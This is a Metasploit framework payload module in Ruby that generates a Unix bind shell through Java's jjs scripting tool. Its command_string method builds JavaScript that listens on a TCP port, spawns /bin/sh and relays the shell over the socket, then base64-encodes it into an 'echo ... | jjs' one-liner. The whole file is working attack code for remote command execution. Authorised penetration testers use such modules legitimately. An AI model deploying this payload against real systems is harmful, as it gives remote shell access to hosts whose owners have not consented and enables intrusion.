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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 795

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Unix Command Shell, Bind TCP (via jjs)',
      'Description' => 'Listen for a connection and spawn a command shell via jjs',
      'Author'      => [
        'conerpirate', # jjs bind shell
        'bcoles'       # metasploit
      ],
      'References'    => [
        ['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],
        ['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],
        ['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],
      ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Handler'     => Msf::Handler::BindTcp,
      'Session'     => Msf::Sessions::CommandShell,
      'PayloadType' => 'cmd',
      'RequiredCmd' => 'jjs',
      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
    ))
    register_options [
      OptString.new('SHELL', [ true, 'The shell to execute.', '/bin/sh' ])
    ]
  end

  def generate
    return super + command_string
  end

  def command_string
    jcode = %Q{
      var ss=new java.net.ServerSocket(#{datastore['LPORT']});
      while(true){
        var s=ss.accept();
        var p=new java.lang.ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();
        var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
        var po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()){
          while(pi.available()>0)so.write(pi.read());
          while(pe.available()>0)so.write(pe.read());
          while(si.available()>0)po.write(si.read());
          so.flush();
          po.flush();
          java.lang.Thread.sleep(50);
          try{p.exitValue();break;}catch(e){}
        };
        p.destroy();s.close();ss.close();
      }
    }

    minified = jcode.split("\n").map(&:lstrip).join

    %Q{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|jjs}
  end
end